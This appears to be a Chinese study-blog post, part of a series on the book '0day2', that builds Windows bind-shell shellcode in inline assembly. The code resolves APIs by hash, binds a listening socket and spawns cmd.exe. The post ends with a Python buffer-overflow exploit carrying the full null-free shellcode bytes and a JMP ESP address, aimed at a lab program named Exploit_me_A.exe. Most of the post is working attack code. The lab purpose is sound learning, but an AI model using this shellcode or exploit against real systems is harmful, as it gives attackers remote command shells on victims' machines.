旧书重温:0day2【6】bind_shell
学习了以上5节课,我们学到了很多知识,例如如何动态获取指定函数的地址;我们也学到了很多经验,例如如何发现代码中的错误,如何用od定位到错误,并修正。
有了以上积累,今天我们继续实验bind_shell,我没还是延用32位hash,来比较hash定位函数,而没用书中的8bit的hash,避免碰撞。题外话:周末了玩疯了有没有CF 、LOL
晚上静下心来调试了代码,今天就先获取下函数地址吧!
1 /* 2 LoadLibraryA function`s hash is 0c917432 3 CreateProcessA function`s hash is 6ba6bcc9 4 ExitProcess function`s hash is 4fd18963 5 WSAStartup function`s hash is 80b46a3d 6 WSASocketA function`s hash is de78322d 7 bind function`s hash is dda71064 8 listen function`s hash is 4bd39f0c 9 accept function`s hash is 01971eb1 10 GetProcAddress function`s hash is bbafdf85 11 Press any key to continue 12 */ 13 void bind_shell() 14 { 15 //参考以前的代码 16 __asm 17 { 18 CLD 19 //存储hash 20 21 push 0x80b46a3d //WSAStartup 22 push 0xde78322d //WSASocket 23 push 0xdda71064 //bind 24 push 0x4bd39f0c //listen 25 push 0x01971eb1 //accept 26 //----------------------以上是ws2_32.dll中的函数 27 push 0x0c917432 //load 28 push 0x6ba6bcc9 //createProcessA 29 push 0x4fd18963 //ExitProcess 30 //-----------------------以上是kernel32.dll导出的函数 31 mov esi,esp //esi = hash list 的顶 exitprocess 32 lea edi,[esi - 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置 33 34 xor ebx,ebx 35 mov bh,0x05 36 sub esp,ebx //抬高堆栈 500h 保护 hash list 37 38 mov bx,0x3233 //2 3 39 push ebx 40 push 0x5F327377 //_ 2 s w 41 push esp //ebp = "ws2_32" 42 xor edx,edx 43 44 mov ebx,fs:[edx+0x30] //peb addr 45 mov ecx,[ebx + 0x0c] // ldr addr 46 mov ecx,[ecx + 0x1c] // list frist 47 48 push edi 49 push esi 50 51 next_module: 52 mov ebp,[ecx+0x08] 53 mov edi,[ecx+0x20] 54 mov ecx,[ecx] 55 cmp [edi + 12*2],dx 56 jne next_module 57 58 pop esi 59 pop edi 60 61 62 find_lib_functions: 63 64 lodsd //esi 所指定的字符 传送如eax 65 cmp eax,0x01971eb1 //zhenw0 66 67 jne find_functions //如果 要查找accept的hash时 要切换dll了 68 xchg ebp,eax 69 call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址 70 xchg ebp,eax 71 72 find_functions: 73 pushad 74 mov eax,[ebp+0x3c] 75 mov ecx,[ebp+eax+0x78] 76 add ecx,ebp 77 mov ebx,[ecx+0x20] 78 add ebx,ebp 79 xor edi,edi 80 81 next_function_loop: 82 inc edi //zai exp 表中查找 函数 83 mov esi,[ebx+edi*4] 84 add esi,ebp 85 cdq 86 87 hash_loop: //计算hash 88 movsx eax,byte ptr[esi] 89 cmp al,ah 90 jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至 91 ror edx,7 //右移7 92 add edx,eax // 93 inc esi 94 jmp hash_loop 95 96 compare_hash: 97 cmp edx,[esp+0x1c] 98 jnz next_function_loop 99 mov ebx,[ecx+0x24] 100 add ebx,ebp 101 mov di,[ebx+2*edi] 102 mov ebx,[ecx+0x1c] 103 add ebx,ebp 104 add ebp,[ebx +4*edi] 105 xchg eax,ebp 106 pop edi 107 stosd 108 push edi 109 popad 110 cmp eax,0x80b46a3d //如果已经查找到最后一个hash了 就不跳转了 111 jne find_lib_functions 112 113 function_call: //函数都找到了 开始 scoket了 114 115 116 int 13 //便于od附加 117 118 119 120 121 122 123 } 124 125 }
调试发现确实有很多地方要微调下!
呵呵以上的代码已经被大改动了,是为了使用 lodsd call eax 顺序执行 WsaStartup WSaSocketA bind listen accept 等函数hash列表已经调整
最终版本 汇编bindshell
1 CLD 2 //存储hash 3 4 5 6 7 8 push 0x01971eb1 //accept 9 push 0x4bd39f0c //listen 10 push 0xdda71064 //bind 11 push 0xde78322d //WSASocket 12 push 0x80b46a3d //WSAStartup 13 //----------------------以上是ws2_32.dll中的函数 14 push 0x0c917432 //load 15 push 0x6ba6bcc9 //createProcessA 16 push 0x4fd18963 //ExitProcess 17 //-----------------------以上是kernel32.dll导出的函数 18 mov esi,esp //esi = hash list 的顶 exitprocess 19 lea edi,[esi + 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置 20 21 xor ebx,ebx 22 mov bh,0x05 23 sub esp,ebx //抬高堆栈 500h 保护 hash list 24 25 mov bx,0x3233 //2 3 26 push ebx 27 push 0x5F327377 //_ 2 s w 28 push esp //ebp = "ws2_32" 29 xor edx,edx 30 31 mov ebx,fs:[edx+0x30] //peb addr 32 mov ecx,[ebx + 0x0c] // ldr addr 33 mov ecx,[ecx + 0x1c] // list frist 34 35 push edi 36 push esi 37 38 next_module: 39 mov ebp,[ecx+0x08] 40 mov edi,[ecx+0x20] 41 mov ecx,[ecx] 42 cmp [edi + 12*2],dx 43 jne next_module 44 45 pop esi 46 pop edi 47 48 49 find_lib_functions: 50 51 lodsd //esi 所指定的字符 传送如eax 52 cmp eax,0x80b46a3d //zhenw0 53 54 jne find_functions //如果 要查找accept的hash时 要切换dll了 55 xchg ebp,eax 56 call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址 57 xchg ebp,eax 58 59 find_functions: 60 pushad 61 mov eax,[ebp+0x3c] 62 mov ecx,[ebp+eax+0x78] 63 add ecx,ebp 64 mov ebx,[ecx+0x20] 65 add ebx,ebp 66 xor edi,edi 67 68 next_function_loop: 69 inc edi //zai exp 表中查找 函数 70 mov esi,[ebx+edi*4] 71 add esi,ebp 72 cdq 73 74 hash_loop: //计算hash 75 movsx eax,byte ptr[esi] 76 cmp al,ah 77 jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至 78 ror edx,7 //右移7 79 add edx,eax // 80 inc esi 81 jmp hash_loop 82 83 compare_hash: 84 cmp edx,[esp+0x1c] 85 jnz next_function_loop 86 mov ebx,[ecx+0x24] 87 add ebx,ebp 88 mov di,[ebx+2*edi] 89 mov ebx,[ecx+0x1c] 90 add ebx,ebp 91 add ebp,[ebx +4*edi] 92 xchg eax,ebp 93 pop edi 94 stosd 95 push edi 96 popad 97 cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了 98 jne find_lib_functions 99 100 function_call: //函数都找到了 开始 scoket了 101 102 add esi,0x0c 103 104 //mov eax,[esi] 105 //--------------------------------------------------wsastartup(dword,lpwsadata) 106 //std 107 //std 108 push esp 109 push 0x02 110 lodsd 111 call eax 112 // eax = 0 可以使用eax填充数据 113 //-------------------------------------------------WSASocketA(af,type ...) 114 115 mov ecx,0x50 116 mov edi,esp 117 rep stosd 118 119 inc eax //eax = 1 120 push eax 121 inc eax 122 push eax 123 lodsd 124 call eax 125 xchg ebp,eax // ebp = socket handle 126 127 //--------------------------------------------------------bind 128 mov eax,0x0a1aff02 129 xor ah,ah 130 push eax 131 push esp 132 call_loop: // bind() listen() accept() dou zai zhe li 133 push ebp 134 lodsd 135 call eax 136 test eax,eax 137 jz call_loop 138 139 //初始化,startpinfo 140 inc byte ptr [esp+0x2d] 141 lea edi,[esp+0x38] 142 stosd 143 stosd 144 stosd 145 146 pop eax 147 148 149 push esp 150 push esp 151 push eax 152 push eax 153 push eax 154 push esp 155 push eax 156 push eax 157 //int 3 158 //////////cmd 159 160 mov dword ptr [esi],0x646d63 161 push esi 162 163 /////////////// 164 push eax 165 166 167 168 169 call [esi-0x1c] 170 171 call [esi-0x20]
以上是 vc6.0 内联式代码
运行起来后 使用 telnet去连接吆!
我分享下经验
0x01:首先就是hash列表的顺序,按这种顺序来真不错,那个连续调用 bind listen accept 的地方,可以节约代码,还挺方便
0x02:int 3 当我们调试代码时,我们想看看内存分布、寄存器值什么的,我们就可以使用此办法,使用od自动附加上,这样我们就可以看到很多信息了
0x03:在布置STARTUPINFO 结构时,我们手头又没资料,我们可以自己使用编译器给我们计算出来,下图
就这样我们获得了dwflags的值和偏移量,这样我们就可以布置内存了,来构造si结构
这样我们就获得了输入句柄输出句柄错误句柄的偏移了,继续构建我们重要的数据
以下是win7(母机)使用telent成功连接虚拟机的截图
接下来我们提取机器码并实验攻击Exploit_me_A.exe
在提取过程中,发现了很多00 所以为了避免截断,我微调了汇编代码避免了00的出现
1 CLD 2 //存储hash 3 4 5 6 7 8 push 0x01971eb1 //accept 9 push 0x4bd39f0c //listen 10 push 0xdda71064 //bind 11 push 0xde78322d //WSASocket 12 push 0x80b46a3d //WSAStartup 13 //----------------------以上是ws2_32.dll中的函数 14 push 0x0c917432 //load 15 push 0x6ba6bcc9 //createProcessA 16 push 0x4fd18963 //ExitProcess 17 //-----------------------以上是kernel32.dll导出的函数 18 mov esi,esp //esi = hash list 的顶 exitprocess 19 lea edi,[esi + 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置 20 21 xor ebx,ebx 22 mov bh,0x05 23 sub esp,ebx //抬高堆栈 500h 保护 hash list 24 25 mov bx,0x3233 //2 3 26 push ebx 27 push 0x5F327377 //_ 2 s w 28 push esp //ebp = "ws2_32" 29 xor edx,edx 30 31 mov ebx,fs:[edx+0x30] //peb addr 32 mov ecx,[ebx + 0x0c] // ldr addr 33 mov ecx,[ecx + 0x1c] // list frist 34 35 push edi 36 push esi 37 38 next_module: 39 mov ebp,[ecx+0x08] 40 mov edi,[ecx+0x20] 41 mov ecx,[ecx] 42 cmp [edi + 12*2],dx 43 jne next_module 44 45 pop esi 46 pop edi 47 48 49 find_lib_functions: 50 51 lodsd //esi 所指定的字符 传送如eax 52 cmp eax,0x80b46a3d //zhenw0 53 54 jne find_functions //如果 要查找accept的hash时 要切换dll了 55 xchg ebp,eax 56 call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址 57 xchg ebp,eax 58 59 find_functions: 60 pushad 61 mov eax,[ebp+0x3c] 62 mov ecx,[ebp+eax+0x78] 63 add ecx,ebp 64 mov ebx,[ecx+0x20] 65 add ebx,ebp 66 xor edi,edi 67 68 next_function_loop: 69 inc edi //zai exp 表中查找 函数 70 mov esi,[ebx+edi*4] 71 add esi,ebp 72 cdq 73 74 hash_loop: //计算hash 75 movsx eax,byte ptr[esi] 76 cmp al,ah 77 jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至 78 ror edx,7 //右移7 79 add edx,eax // 80 inc esi 81 jmp hash_loop 82 83 compare_hash: 84 cmp edx,[esp+0x1c] 85 jnz next_function_loop 86 mov ebx,[ecx+0x24] 87 add ebx,ebp 88 mov di,[ebx+2*edi] 89 mov ebx,[ecx+0x1c] 90 add ebx,ebp 91 add ebp,[ebx +4*edi] 92 xchg eax,ebp 93 pop edi 94 stosd 95 push edi 96 popad 97 cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了 98 jne find_lib_functions 99 100 function_call: //函数都找到了 开始 scoket了 101 102 add esi,0x0c 103 104 //mov eax,[esi] 105 //--------------------------------------------------wsastartup(dword,lpwsadata) 106 //std 107 //std 108 push esp 109 push 0x02 110 lodsd 111 call eax 112 // eax = 0 可以使用eax填充数据 113 //-------------------------------------------------WSASocketA(af,type ...) 114 115 lea ecx,[eax+0x50] 116 mov edi,esp 117 rep stosd 118 119 inc eax //eax = 1 120 push eax 121 inc eax 122 push eax 123 lodsd 124 call eax 125 xchg ebp,eax // ebp = socket handle 126 127 //--------------------------------------------------------bind 128 mov eax,0x0a1aff02 129 xor ah,ah 130 push eax 131 push esp 132 call_loop: // bind() listen() accept() dou zai zhe li 133 push ebp 134 lodsd 135 call eax 136 test eax,eax 137 jz call_loop 138 139 //初始化,startpinfo 140 inc byte ptr [esp+0x2d] 141 lea edi,[esp+0x38] 142 stosd 143 stosd 144 stosd 145 146 pop eax 147 148 149 push esp 150 push esp 151 push eax 152 push eax 153 push eax 154 push esp 155 push eax 156 push eax 157 //int 3 158 //////////cmd 159 160 mov dword ptr [esi],0x11646d63 161 mov byte ptr [esi+0x03],bl 162 push esi 163 164 /////////////// 165 push eax 166 167 168 169 170 call [esi-0x1c] 171 172 call [esi-0x20]
最后提取出来的机器码,我已经做成python的脚本了。
import socket sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(("192.168.17.128",7777)) JMPESP = "\x12\x45\xFA\x7F" buf = 'z'*200 + JMPESP + "\xFC\x68\xB1\x1E\x97\x01\x68\x0C\x9F\xD3\x4B\x68\x64\x10\xA7\xDD\x68\x2D\x32\x78\xDE"\ "\x68\x3D\x6A\xB4\x80\x68\x32\x74\x91\x0C\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B"\ "\xF4\x8D\x7E\x20\x33\xDB\xB7\x05\x2B\xE3\x66\xBB\x33\x32\x53\x68\x77\x73\x32\x5F"\ "\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B"\ "\x09\x66\x39\x57\x18\x75\xF2\x5E\x5F\xAD\x3D\x3D\x6A\xB4\x80\x75\x05\x95\xFF\x57\xFC"\ "\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB"\ "\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"\ "\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB"\ "\x57\x61\x3D\xB1\x1E\x97\x01\x75\xA9\x83\xC6\x0C\x54\x6A\x02\xAD\xFF\xD0\x8D\x48\x50\x8B"\ "\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD"\ "\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x8D\x7C\x24\x38\xAB\xAB\xAB\x58\x54\x54\x50\x50"\ "\x50\x54\x50\x50\xC7\x06\x63\x6D\x64\x11\x88\x5E\x03\x56\x50\xFF"\ "\x56\xE4\xFF\x56\xE0\x90\x90\x90\x90\x90\x90" sock.send(buf)
以上代码需要改动下ip。不明白的参考以上几篇,成功的图我就不上了。
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
| 微博: http://t.qq.com/zhenw0
----------------------------------------------------